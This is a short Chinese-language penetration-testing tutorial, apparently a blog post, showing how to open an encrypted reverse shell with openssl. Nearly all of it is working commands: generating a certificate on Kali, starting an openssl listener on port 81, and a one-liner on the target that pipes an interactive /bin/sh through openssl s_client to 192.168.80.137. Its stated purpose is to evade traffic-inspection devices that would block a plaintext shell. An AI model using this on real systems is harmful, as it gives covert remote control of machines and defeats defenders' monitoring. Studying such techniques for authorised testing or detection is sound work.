滲透測(cè)試人員通常喜歡使用bash、python、nc等方式反彈shell。以上方式有一個(gè)共同的缺點(diǎn),所有的流量都是明文傳輸,很容易被各種流量審查設(shè)備阻斷。下面介紹使用openssl反彈一個(gè)加密的shell。
- 在kali上生成SSL證書的公鑰/私鑰對(duì)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 在kali上監(jiān)聽81端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 81
- 在目標(biāo)機(jī)器上用openssl反彈加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:81 > /tmp/s; rm /tmp/s

image.png

image.png